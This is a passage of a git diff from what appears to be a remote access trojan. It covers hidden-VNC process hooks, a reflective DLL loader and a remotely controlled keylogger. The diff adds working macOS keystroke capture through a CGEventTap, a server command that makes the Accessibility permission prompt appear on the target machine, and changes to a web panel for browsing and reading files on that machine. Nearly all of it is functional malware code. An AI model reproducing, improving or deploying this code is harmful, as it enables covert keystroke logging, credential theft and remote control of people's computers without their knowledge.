GetEnvironmentVariableW(L"RDI_DLL_SIZE", envDllSize, 32); + DWORD dllSizeLen = GetEnvironmentVariableW(L"RDI_DLL_SIZE", envDllSize, 32); - if (sectionNameLen > 0 && sectionNameLen < 512 && dllSizeLen > 0 && dllSizeLen < 32) { - g_DllRawSize = 0; + if (sectionNameLen >= 512) { + CrashLog("[ENV] WARN: RDI_DLL_SECTION is >= 512 chars and was truncated — child injection disabled"); + sectionNameLen = 0; + } + if (dllSizeLen >= 32) { + CrashLog("[ENV] WARN: RDI_DLL_SIZE is >= 32 chars and was truncated — child injection disabled"); + dllSizeLen = 0; + } + + if (sectionNameLen > 0 && dllSizeLen > 0) { + // Validate that every character is an ASCII digit before converting. + // On non-English systems the string could theoretically contain locale- + // specific digit characters (e.g. Arabic-Indic numerals) which would + // cause the old subtraction-based parser to produce garbage values and + // later crash when MapViewOfFile mapped the wrong size. + BOOL allDigits = TRUE; for (DWORD i = 0; i < dllSizeLen; i++) { - g_DllRawSize = g_DllRawSize * 10 + (envDllSize[i] - L'0'); + if (envDllSize[i] < L'0' || envDllSize[i] > L'9') { allDigits = FALSE; break; } + } + if (allDigits) { + WCHAR* endPtr = NULL; + g_DllRawSize = (DWORD)wcstoul(envDllSize, &endPtr, 10); + } else { + g_DllRawSize = 0; + CrashLog("[ENV] WARN: RDI_DLL_SIZE contains non-digit characters — child injection disabled"); } + if (g_DllRawSize == 0) { + CrashLog("[ENV] WARN: g_DllRawSize is 0 after parsing — skipping section open"); + goto skip_section_open; + } g_DllSectionHandle = OpenFileMappingW(FILE_MAP_READ, FALSE, envSectionName); if (g_DllSectionHandle) { g_DllRawBytes = MapViewOfFile(g_DllSectionHandle, FILE_MAP_READ, 0, 0, g_DllRawSize); @@ -1095,6 +1300,7 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * LogDebugA("[ENV] OpenFileMappingW failed for DLL section"); } } + skip_section_open:; } } __except (EXCEPTION_EXECUTE_HANDLER) { @@ -1249,13 +1455,36 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * CrashLog("=== Removing hooks ==="); LogDebugA("=== Removing hooks ==="); g_HooksInitialized = FALSE; + + // Disable JMP patches in all target functions. MH_DisableHook(MH_ALL_HOOKS); + + // Give any thread that passed the g_HooksInitialized guard but has not yet + // called Original*() a brief window to finish. This is a best-effort + // mitigation; a proper fix requires a reader-writer barrier (e.g. SRWLOCK). + Sleep(50); + + // Free trampoline memory. After this point the Original* pointers are + // dangling. NULL them immediately so any racing thread that calls through + // them gets a clean NULL-dereference AV (caught by the hook's __try/__except) + // rather than a use-after-free at an arbitrary freed address. MH_Uninitialize(); + OriginalNtCreateFile = NULL; + OriginalNtOpenFile = NULL; + OriginalNtDeleteFile = NULL; + OriginalNtSetInformationFile = NULL; + OriginalNtQueryAttributesFile = NULL; + OriginalNtQueryFullAttributesFile = NULL; + OriginalNtQueryDirectoryFile = NULL; + OriginalNtQueryDirectoryFileEx = NULL; + OriginalCreateProcessW = NULL; + if (g_DllRawBytes) { UnmapViewOfFile(g_DllRawBytes); g_DllRawBytes = NULL; } + g_DllRawSize = 0; if (g_DllSectionHandle) { CloseHandle(g_DllSectionHandle); g_DllSectionHandle = NULL; diff --git a/BackstageInjection/src/ReflectiveLoader.c b/BackstageInjection/src/ReflectiveLoader.c index 952cac5..d015817 100644 --- a/BackstageInjection/src/ReflectiveLoader.c +++ b/BackstageInjection/src/ReflectiveLoader.c @@ -301,6 +301,12 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + // Guard against allocation failure (out-of-memory, ACG/CFG policy, etc.). + // Without this check, every subsequent write to uiBaseAddress would be a + // write through NULL — an access violation in the remote process. + if (!uiBaseAddress) + return 0; + // we must now copy over the headers uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; uiValueB = uiLibraryAddress; @@ -510,7 +516,9 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. - pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + // Guard against pNtFlushInstructionCache being NULL (e.g. if ntdll was not found in the PEB module list). + if (pNtFlushInstructionCache) + pNtFlushInstructionCache((HANDLE)-1, NULL, 0); // call our respective entry point, fudging our hInstance value #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR diff --git a/BackstageInjection/src/seh_compat.h b/BackstageInjection/src/seh_compat.h index 322e1b8..c9d110c 100644 --- a/BackstageInjection/src/seh_compat.h +++ b/BackstageInjection/src/seh_compat.h @@ -3,13 +3,35 @@ #define _HVNC_SEH_COMPAT_H #ifdef __MINGW32__ -// MinGW doesn't support MSVC structured exception handling. -// Replace __try/__except with plain code execution (no SEH guard). +#if defined(NDEBUG) +// Catch accidental production use of MinGW builds: without real SEH every hardware +// exception inside a hook function will crash the host process uncaught. +#error "MinGW SEH stubs must not be used in Release/production (NDEBUG) builds. Use MSVC (v143) for all production targets." +#endif + +// MinGW does not implement MSVC Structured Exception Handling (__try/__except). +// These macros replace every __try/__except block with unguarded straight-line +// code: the __try body executes unconditionally, and the __except body is +// compiled away (the condition "if (0)" is never true). +// +// PRODUCTION SAFETY WARNING: +// Any access violation, illegal instruction, or other hardware exception that +// occurs inside a hook function on a MinGW build will propagate UNCAUGHT into +// the host process and crash it. On MSVC builds the same exception is caught +// by the __except handler, logged to the crash log, and the host process +// continues running. +// +// MinGW builds are therefore NOT safe for production use on any Windows +// locale. Use MSVC (Visual Studio 2022 / v143 toolset) for production +// builds. The MinGW path exists only for build-system compatibility during +// development. #define __try #define __except(x) if (0) #define __finally -// MSVC uses GetExceptionCode() inside __except; provide a stub. +// MSVC provides GetExceptionCode() as an intrinsic inside __except filters. +// Provide a stub that always returns 0 so that the (dead) exception-handler +// body compiles without error under MinGW. #ifndef GetExceptionCode #define GetExceptionCode() 0 #endif diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index daf8963..cb64668 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2276,6 +2276,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in resumePid = int32(p) } return HandleProcessResume(ctx, env, cmdID, resumePid) + case "keylog_request_permission": + return HandleKeylogRequestPermission(ctx, env, cmdID) case "keylog_list": return HandleKeylogList(ctx, env, cmdID) case "keylog_retrieve": diff --git a/Overlord-Client/cmd/agent/handlers/keylogger.go b/Overlord-Client/cmd/agent/handlers/keylogger.go index bd265e3..2b317c2 100644 --- a/Overlord-Client/cmd/agent/handlers/keylogger.go +++ b/Overlord-Client/cmd/agent/handlers/keylogger.go @@ -9,6 +9,77 @@ import ( "overlord-client/cmd/agent/wire" ) +// HandleKeylogRequestPermission handles the keylog_request_permission command. +// On macOS it triggers the Accessibility permission prompt and reports back +// whether permission was granted. On other platforms it reports that no +// permission gate exists and the keylogger is already running (or starts it). +func HandleKeylogRequestPermission(ctx context.Context, env *runtime.Env, cmdID string) error { + if env.Keylogger == nil { + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_permission_result", + "commandId": cmdID, + "granted": false, + "reason": "keylogger_disabled", + }) + } + + if !env.Keylogger.NeedsPermissionGate() { + // Non-macOS: keylogger doesn't need an explicit permission gate. + // Ensure it is running (it should already be) and report granted. + if !env.Keylogger.IsRunning() { + if err := env.Keylogger.Start(); err != nil { + log.Printf("[keylogger] start error: %v", err) + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_permission_result", + "commandId": cmdID, + "granted": false, + "reason": err.Error(), + }) + } + } + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_permission_result", + "commandId": cmdID, + "granted": true, + "reason": "no_permission_gate", + }) + } + + // macOS: trigger the OS accessibility prompt and wait for the result. + log.Printf("[keylogger] macOS: requesting accessibility permission") + granted := env.Keylogger.RequestPermission() + + if granted { + // Start the keylogger now that we have permission. + if !env.Keylogger.IsRunning() { + if err := env.Keylogger.Start(); err != nil { + log.Printf("[keylogger] start after permission grant failed: %v", err) + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_permission_result", + "commandId": cmdID, + "granted": false, + "reason": "start_failed: " + err.Error(), + }) + } + } + log.Printf("[keylogger] macOS accessibility permission granted, keylogger started") + } else { + log.Printf("[keylogger] macOS accessibility permission denied") + } + + reason := "granted" + if !granted { + reason = "user_denied" + } + + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_permission_result", + "commandId": cmdID, + "granted": granted, + "reason": reason, + }) +} + const MaxChunkSize = 256 * 1024 func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error { diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger.go b/Overlord-Client/cmd/agent/keylogger/keylogger.go index 78c73a8..efeeddc 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger.go @@ -33,6 +33,14 @@ type Keylogger struct { lastKeyTime time.Time lineStarted bool currentWindowTitle string + permissionGranted bool // set to true once OS permission has been confirmed +} + +// IsRunning returns whether the keylogger capture loop is active. +func (k *Keylogger) IsRunning() bool { + k.mu.Lock() + defer k.mu.Unlock() + return k.running } func New() *Keylogger { diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go index 8374cce..fea9bbe 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go @@ -1,30 +1,385 @@ -//go:build darwin && !nokeylogger -// +build darwin,!nokeylogger +//go:build darwin && !nokeylogger && cgo +// +build darwin,!nokeylogger,cgo package keylogger +/* +#cgo CFLAGS: -x objective-c +#cgo LDFLAGS: -framework ApplicationServices -framework CoreFoundation -framework AppKit + +#include +#include +#include + +// Forward declaration — implemented in Go via CGo export. +extern void goOnKey(const char *chars, int len, int keyCode, int flags); + +// ----------------------------------------------------------------------- +// Event tap globals +// ----------------------------------------------------------------------- +static CFMachPortRef _tap = NULL; +static CFRunLoopSourceRef _tapSrc = NULL; +static CFRunLoopRef _tapRL = NULL; + +// ----------------------------------------------------------------------- +// Keystroke callback +// ----------------------------------------------------------------------- +static CGEventRef keyEventCallback(CGEventTapProxy proxy, + CGEventType type, + CGEventRef event, + void *refcon) +{ + if (type == kCGEventKeyDown || type == kCGEventFlagsChanged) { + UniChar buf[8]; + UniCharCount actualLen = 0; + + if (type == kCGEventKeyDown) { + CGEventKeyboardGetUnicodeString(event, 8, &actualLen, buf); + } + + int keyCode = (int)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); + int flags = (int)CGEventGetFlags(event); + + if (type == kCGEventKeyDown && actualLen > 0) { + // Simple UTF-16 -> UTF-8 conversion for BMP characters only + char utf8[32]; + int utf8Len = 0; + for (UniCharCount i = 0; i < actualLen && utf8Len < 28; i++) { + UniChar c = buf[i]; + if (c < 0x80) { + utf8[utf8Len++] = (char)c; + } else if (c < 0x800) { + utf8[utf8Len++] = (char)(0xC0 | (c >> 6)); + utf8[utf8Len++] = (char)(0x80 | (c & 0x3F)); + } else { + utf8[utf8Len++] = (char)(0xE0 | (c >> 12)); + utf8[utf8Len++] = (char)(0x80 | ((c >> 6) & 0x3F)); + utf8[utf8Len++] = (char)(0x80 | (c & 0x3F)); + } + } + utf8[utf8Len] = '\0'; + goOnKey(utf8, utf8Len, keyCode, flags); + } else if (type == kCGEventFlagsChanged) { + goOnKey("", 0, keyCode, flags); + } + } + return event; +} + +// ----------------------------------------------------------------------- +// createEventTap — phase 1: allocate the tap (does NOT run the loop). +// Returns 0 on success, -1 on failure (no accessibility permission). +// ----------------------------------------------------------------------- +static int createEventTap(void) { + CGEventMask mask = CGEventMaskBit(kCGEventKeyDown) | + CGEventMaskBit(kCGEventFlagsChanged); + _tap = CGEventTapCreate(kCGSessionEventTap, + kCGHeadInsertEventTap, + kCGEventTapOptionListenOnly, + mask, + keyEventCallback, + NULL); + if (!_tap) return -1; + _tapSrc = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, _tap, 0); + return 0; +} + +// ----------------------------------------------------------------------- +// runEventTapLoop — phase 2: attach to run loop and block. +// Call from a goroutine that has been locked to an OS thread. +// ----------------------------------------------------------------------- +static void runEventTapLoop(void) { + _tapRL = CFRunLoopGetCurrent(); + CFRunLoopAddSource(_tapRL, _tapSrc, kCFRunLoopCommonModes); + CGEventTapEnable(_tap, true); + CFRunLoopRun(); + // Cleanup after loop exits + CGEventTapEnable(_tap, false); + CFRunLoopRemoveSource(_tapRL, _tapSrc, kCFRunLoopCommonModes); + CFRelease(_tapSrc); _tapSrc = NULL; + CFRelease(_tap); _tap = NULL; + _tapRL = NULL; +} + +// ----------------------------------------------------------------------- +// stopEventTapLoop — signal the run loop to exit. +// ----------------------------------------------------------------------- +static void stopEventTapLoop(void) { + if (_tapRL) { + CFRunLoopStop(_tapRL); + } +} + +// ----------------------------------------------------------------------- +// Permission helpers +// ----------------------------------------------------------------------- +static int checkAccessibility(void) { + return AXIsProcessTrusted() ? 1 : 0; +} + +static int requestAccessibility(void) { + NSDictionary *opts = @{(__bridge NSString *)kAXTrustedCheckOptionPrompt: @YES}; + return AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)opts) ? 1 : 0; +} + +// ----------------------------------------------------------------------- +// Window title helper +// ----------------------------------------------------------------------- +static char* getFrontAppName(void) { + @autoreleasepool { + NSRunningApplication *app = + [[NSWorkspace sharedWorkspace] frontmostApplication]; + if (!app) return NULL; + NSString *name = app.localizedName; + if (!name || name.length == 0) return NULL; + return strdup([name UTF8String]); + } +} +*/ +import "C" + import ( "fmt" "log" - "time" + "runtime" + "sync" + "unsafe" ) -func (k *Keylogger) captureKeystrokes() error { - log.Printf("[keylogger] macOS keylogging not fully implemented - placeholder mode") +// keyEvent holds a single key event delivered from the C tap callback. +type keyEvent struct { + chars string + keyCode int + flags int +} - ticker := time.NewTicker(30 * time.Second) - defer ticker.Stop() +// Global channel used by the C callback to deliver events to Go. +// Buffered so the callback never blocks the event tap thread. +var ( + keyEventCh chan keyEvent + keyEventMu sync.Mutex +) - for { +// goOnKey is called from C when a key event arrives. +// +//export goOnKey +func goOnKey(chars *C.char, length C.int, keyCode C.int, flags C.int) { + var s string + if length > 0 && chars != nil { + s = C.GoStringN(chars, length) + } + ev := keyEvent{ + chars: s, + keyCode: int(keyCode), + flags: int(flags), + } + keyEventMu.Lock() + ch := keyEventCh + keyEventMu.Unlock() + if ch != nil { select { - case <-k.stopCh: - return nil - case <-ticker.C: - k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05"))) + case ch <- ev: + default: + // Drop rather than block the callback thread } } } +// macOS virtual key codes for special keys +const ( + kVK_Return = 0x24 + kVK_Delete = 0x33 // Backspace on Mac + kVK_Tab = 0x30 + kVK_Escape = 0x35 + kVK_ForwardDelete = 0x75 + kVK_LeftArrow = 0x7B + kVK_RightArrow = 0x7C + kVK_DownArrow = 0x7D + kVK_UpArrow = 0x7E + kVK_Home = 0x73 + kVK_End = 0x77 + kVK_PageUp = 0x74 + kVK_PageDown = 0x79 + kVK_F1 = 0x7A + kVK_F2 = 0x78 + kVK_F3 = 0x63 + kVK_F4 = 0x76 + kVK_F5 = 0x60 + kVK_F6 = 0x61 + kVK_F7 = 0x62 + kVK_F8 = 0x64 + kVK_F9 = 0x65 + kVK_F10 = 0x6D + kVK_F11 = 0x67 + kVK_F12 = 0x6F + + // CGEventFlags modifier bits + kCGEventFlagMaskCommand = 0x00100000 + kCGEventFlagMaskControl = 0x00040000 + kCGEventFlagMaskAlternate = 0x00080000 +) + +// Modifier-only key codes — we don't log standalone modifier presses. +var modifierKeyCodes = map[int]bool{ + 0x37: true, // Left Command + 0x36: true, // Right Command + 0x38: true, // Left Shift + 0x3C: true, // Right Shift + 0x3A: true, // Left Option/Alt + 0x3D: true, // Right Option/Alt + 0x3B: true, // Left Control + 0x3E: true, // Right Control + 0x39: true, // Caps Lock +} + +var specialKeyNames = map[int]string{ + kVK_Return: "[ENTER]", + kVK_Delete: "[BACKSPACE]", + kVK_Tab: "[TAB]", + kVK_Escape: "[ESC]", + kVK_ForwardDelete: "[DELETE]", + kVK_LeftArrow: "[LEFT]", + kVK_RightArrow: "[RIGHT]", + kVK_DownArrow: "[DOWN]", + kVK_UpArrow: "[UP]", + kVK_Home: "[HOME]", + kVK_End: "[END]", + kVK_PageUp: "[PAGE UP]", + kVK_PageDown: "[PAGE DOWN]", + kVK_F1: "[F1]", + kVK_F2: "[F2]", + kVK_F3: "[F3]", + kVK_F4: "[F4]", + kVK_F5: "[F5]", + kVK_F6: "[F6]", + kVK_F7: "[F7]", + kVK_F8: "[F8]", + kVK_F9: "[F9]", + kVK_F10: "[F10]", + kVK_F11: "[F11]", + kVK_F12: "[F12]", +} + +func (k *Keylogger) captureKeystrokes() error { + // Phase 1: try to create the event tap (fails immediately if no permission). + if ret := C.createEventTap(); ret != 0 { + return fmt.Errorf("CGEventTap creation failed — accessibility permission required") + } + + // Phase 2: publish the event channel and run the tap on a locked OS thread. + keyEventMu.Lock() + keyEventCh = make(chan keyEvent, 512) + ch := keyEventCh + keyEventMu.Unlock() + + tapDone := make(chan struct{}) + go func() { + defer close(tapDone) + runtime.LockOSThread() + defer runtime.UnlockOSThread() + C.runEventTapLoop() // blocks until stopEventTapLoop() is called + }() + + log.Printf("[keylogger] macOS CGEventTap running") + + for { + select { + case <-k.stopCh: + C.stopEventTapLoop() + <-tapDone + keyEventMu.Lock() + keyEventCh = nil + keyEventMu.Unlock() + return nil + case ev := <-ch: + k.handleDarwinEvent(ev) + } + } +} + +func (k *Keylogger) handleDarwinEvent(ev keyEvent) { + // Modifier-only events: skip + if ev.chars == "" && modifierKeyCodes[ev.keyCode] { + return + } + + var keyStr string + + if name, ok := specialKeyNames[ev.keyCode]; ok { + keyStr = name + } else if ev.chars != "" { + cmd := ev.flags&kCGEventFlagMaskCommand != 0 + ctrl := ev.flags&kCGEventFlagMaskControl != 0 + alt := ev.flags&kCGEventFlagMaskAlternate != 0 + + if cmd || ctrl { + keyStr = formatDarwinCombo(cmd, ctrl, alt, ev.chars) + } else { + keyStr = ev.chars + } + } + + if keyStr == "" { + return + } + + k.logKey(keyStr) +} + +func formatDarwinCombo(cmd, ctrl, alt bool, key string) string { + s := "[" + if ctrl { + s += "CTRL+" + } + if cmd { + s += "CMD+" + } + if alt { + s += "ALT+" + } + return s + key + "]" +} + +// CheckAccessibilityPermission returns true if the process already has +// macOS Accessibility permission. +func CheckAccessibilityPermission() bool { + return C.checkAccessibility() == 1 +} + +// RequestAccessibilityPermission displays the macOS system prompt asking the +// user to grant Accessibility permission. Returns true if permission is +// currently granted (either already was or just approved). +func RequestAccessibilityPermission() bool { + return C.requestAccessibility() == 1 +} + func getWindowTitle() string { - return "" + cstr := C.getFrontAppName() + if cstr == nil { + return "" + } + defer C.free(unsafe.Pointer(cstr)) + return C.GoString(cstr) +} + +// NeedsPermissionGate returns true on macOS: the server must request +// accessibility permission before the keylogger can start. +func (k *Keylogger) NeedsPermissionGate() bool { + return true +} + +// RequestPermission triggers the macOS accessibility permission prompt via +// AXIsProcessTrustedWithOptions (CGo path — native build only). +func (k *Keylogger) RequestPermission() bool { + granted := RequestAccessibilityPermission() + k.mu.Lock() + k.permissionGranted = granted + k.mu.Unlock() + return granted +} + +// HasPermission checks the current accessibility permission state without +// displaying any prompt. +func (k *Keylogger) HasPermission() bool { + return CheckAccessibilityPermission() } diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_darwin_nocgo.go b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin_nocgo.go new file mode 100644 index 0000000..c17dc69 --- /dev/null +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin_nocgo.go @@ -0,0 +1,63 @@ +//go:build darwin && !nokeylogger && !cgo +// +build darwin,!nokeylogger,!cgo + +package keylogger + +import ( + "log" + "os/exec" + "strings" + "time" +) + +func checkPermissionViaOsascript() bool { + cmd := exec.Command("osascript", "-e", + `tell application "System Events" to return name of every process`) + cmd.Stdout = nil + out, err := cmd.Output() + if err != nil { + return false + } + return len(strings.TrimSpace(string(out))) > 0 +} + +func requestPermissionViaOsascript() bool { + cmd := exec.Command("osascript", "-e", + `tell application "System Events" to return name of every process`) + cmd.Run() // ignore error — the prompt fires as a side effect + + deadline := time.Now().Add(60 * time.Second) + for time.Now().Before(deadline) { + time.Sleep(500 * time.Millisecond) + if checkPermissionViaOsascript() { + return true + } + } + return false +} + +func (k *Keylogger) NeedsPermissionGate() bool { + return true +} + +func (k *Keylogger) RequestPermission() bool { + granted := requestPermissionViaOsascript() + k.mu.Lock() + k.permissionGranted = granted + k.mu.Unlock() + return granted +} + +func (k *Keylogger) HasPermission() bool { + return checkPermissionViaOsascript() +} + +func (k *Keylogger) captureKeystrokes() error { + log.Printf("[keylogger] keystroke capture is not available in CGO-disabled darwin builds; rebuild natively on macOS") + <-k.stopCh + return nil +} + +func getWindowTitle() string { + return "" +} diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_default.go b/Overlord-Client/cmd/agent/keylogger/keylogger_default.go index f6b41fd..623b815 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger_default.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_default.go @@ -1,4 +1,11 @@ //go:build !windows && !linux && !darwin && !nokeylogger +// Catch-all stub for platforms without a native keylogger implementation +// (FreeBSD, OpenBSD, Android, etc.). +// +// Darwin is excluded because it has its own implementations: +// - keylogger_darwin.go (darwin && cgo) — CGEventTap, full capture +// - keylogger_darwin_nocgo.go (darwin && !cgo) — osascript permission gate, +// stub capture package keylogger diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_disabled.go b/Overlord-Client/cmd/agent/keylogger/keylogger_disabled.go index d27084f..a2dac37 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger_disabled.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_disabled.go @@ -15,10 +15,14 @@ type FileInfo struct { func New() *Keylogger { return nil } -func (k *Keylogger) Start() error { return nil } -func (k *Keylogger) Stop() {} +func (k *Keylogger) Start() error { return nil } +func (k *Keylogger) Stop() {} func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil } func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil } -func (k *Keylogger) ClearAll() error { return nil } -func (k *Keylogger) DeleteFile(string) error { return nil } -func (k *Keylogger) FlushNow() {} +func (k *Keylogger) ClearAll() error { return nil } +func (k *Keylogger) DeleteFile(string) error { return nil } +func (k *Keylogger) FlushNow() {} +func (k *Keylogger) IsRunning() bool { return false } +func (k *Keylogger) NeedsPermissionGate() bool { return false } +func (k *Keylogger) RequestPermission() bool { return false } +func (k *Keylogger) HasPermission() bool { return false } diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_permission_other.go b/Overlord-Client/cmd/agent/keylogger/keylogger_permission_other.go new file mode 100644 index 0000000..3aca57b --- /dev/null +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_permission_other.go @@ -0,0 +1,19 @@ +//go:build !darwin && !nokeylogger +// +build !darwin,!nokeylogger + +package keylogger + +func (k *Keylogger) NeedsPermissionGate() bool { + return false +} + +func (k *Keylogger) RequestPermission() bool { + k.mu.Lock() + k.permissionGranted = true + k.mu.Unlock() + return true +} + +func (k *Keylogger) HasPermission() bool { + return true +} diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index aa423da..cf8e720 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -593,10 +593,19 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. env.Keylogger = keylogger.New() if env.Keylogger != nil { - if err := env.Keylogger.Start(); err != nil { - log.Printf("[keylogger] Failed to start: %v", err) - } else { + if env.Keylogger.NeedsPermissionGate() { + // macOS: do NOT start automatically. The server must send + // keylog_request_permission first, which triggers the OS prompt. + // The keylogger will be started by the command handler once + // permission is granted. defer env.Keylogger.Stop() + log.Printf("[keylogger] macOS permission gate active — waiting for server request") + } else { + if err := env.Keylogger.Start(); err != nil { + log.Printf("[keylogger] Failed to start: %v", err) + } else { + defer env.Keylogger.Stop() + } } } diff --git a/Overlord-Server/public/assets/filebrowser-hex-hash.js b/Overlord-Server/public/assets/filebrowser-hex-hash.js index 44a2c91..2eebd55 100644 --- a/Overlord-Server/public/assets/filebrowser-hex-hash.js +++ b/Overlord-Server/public/assets/filebrowser-hex-hash.js @@ -16,6 +16,7 @@ export function createFileHexHashManager({ send, notifyToast, getCurrentPreviewEntry, + beforeFileRead, }) { const previewTextHeadHost = document.getElementById("preview-text-head-host"); const previewTextHead = document.getElementById("preview-text-head"); @@ -50,7 +51,10 @@ export function createFileHexHashManager({ } } - function requestFilePeek(path, kind) { + async function requestFilePeek(path, kind) { + if (beforeFileRead && !(await beforeFileRead(path, kind === "hex" ? "read file bytes" : "preview file"))) { + return false; + } const commandId = `peek-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; const fileName = path.split(/[\/\\]/).pop() || ""; peekRequests.set(commandId, { kind, path, fileName }); @@ -60,10 +64,14 @@ export function createFileHexHashManager({ id: commandId, payload: { path, bytes: 4096 }, }); + return true; } - function openHexViewer(path) { + async function openHexViewer(path) { if (!hexViewerModal) return; + if (beforeFileRead && !(await beforeFileRead(path, "read file bytes"))) { + return; + } const fileName = path.split(/[\/\\]/).pop() || ""; if (hexViewerFile) hexViewerFile.textContent = fileName; if (hexViewerBody) hexViewerBody.innerHTML = '
Loading...
'; @@ -153,7 +161,10 @@ export function createFileHexHashManager({ previewTextHeadHost?.classList.remove("hidden"); } - function requestFileHash(path, source) { + async function requestFileHash(path, source) { + if (beforeFileRead && !(await beforeFileRead(path, "read file"))) { + return false; + } const commandId = `hash-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; const fileName = path.split(/[\/\\]/).pop() || ""; hashRequests.set(commandId, { path, fileName, source }); @@ -164,6 +175,7 @@ export function createFileHexHashManager({ payload: { path, algorithm: "sha256" }, }); notifyToast(`Hashing ${fileName}...`, "info", 2500); + return true; } function handleFileHashResult(msg) { diff --git a/Overlord-Server/public/assets/filebrowser-preview-modal.js b/Overlord-Server/public/assets/filebrowser-preview-modal.js index 2ab62c9..a32ae17 100644 --- a/Overlord-Server/public/assets/filebrowser-preview-modal.js +++ b/Overlord-Server/public/assets/filebrowser-preview-modal.js @@ -11,6 +11,7 @@ export function createFilePreviewModal({ clientId, notifyToast, onDownload, + beforeFileRead, }) { const filePreviewModal = document.getElementById("file-preview-modal"); const previewFileNameEl = document.getElementById("preview-file-name"); @@ -43,6 +44,10 @@ export function createFilePreviewModal({ return; } + if (beforeFileRead && !(await beforeFileRead(path, "preview file"))) { + return; + } + currentPreviewPath = path; if (previewFileNameEl) previewFileNameEl.textContent = fileName; if (previewContent) previewContent.innerHTML = ''; diff --git a/Overlord-Server/public/assets/filebrowser.js b/Overlord-Server/public/assets/filebrowser.js index 2923f4b..9e316b0 100644 --- a/Overlord-Server/public/assets/filebrowser.js +++ b/Overlord-Server/public/assets/filebrowser.js @@ -32,6 +32,8 @@ const pendingCommandWaiters = new Map(); const VIRTUALIZATION_THRESHOLD = 400; const VIRTUAL_ROW_HEIGHT = 58; const VIRTUAL_OVERSCAN = 8; +const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v1`; +const macPermissionAllowedPaths = new Set(loadMacPermissionAllowedPaths()); let directoryEntries = []; let filteredDirectoryEntries = []; @@ -297,8 +299,14 @@ function handleMessage(msg) { } } -function listFiles(path, socket = ws) { - if (currentPath && currentPath !== path) { +async function listFiles(path, socket = ws, options = {}) { + const { resetHistory = false, skipHistory = false } = options; + if (!(await confirmMacPermissionRisk(path, "open folder"))) { + return false; + } + if (resetHistory) { + pathHistory = []; + } else if (!skipHistory && currentPath && currentPath !== path) { pathHistory.push(currentPath); } currentPath = path; @@ -306,6 +314,7 @@ function listFiles(path, socket = ws) { updateBreadcrumb(path); updatePathInput(path); updateBackButton(); + return true; } function updatePathInput(path) { @@ -318,20 +327,175 @@ function updateBackButton() { backBtn.classList.toggle("cursor-not-allowed", pathHistory.length === 0); } -function goBack() { +async function goBack() { if (pathHistory.length > 0) { - const previousPath = pathHistory.pop(); - currentPath = previousPath; - send({ type: "file_list", path: previousPath }); - updateBreadcrumb(previousPath); - updatePathInput(previousPath); + const previousPath = pathHistory[pathHistory.length - 1]; + const ok = await listFiles(previousPath, ws, { skipHistory: true }); + if (ok) { + pathHistory.pop(); + } updateBackButton(); } } +function loadMacPermissionAllowedPaths() { + try { + const raw = sessionStorage.getItem(MAC_PERMISSION_STORAGE_KEY); + const parsed = raw ? JSON.parse(raw) : []; + if (!Array.isArray(parsed)) return []; + return parsed.filter((p) => typeof p === "string" && p.trim()); + } catch { + return []; + } +} + +function persistMacPermissionAllowedPaths() { + try { + 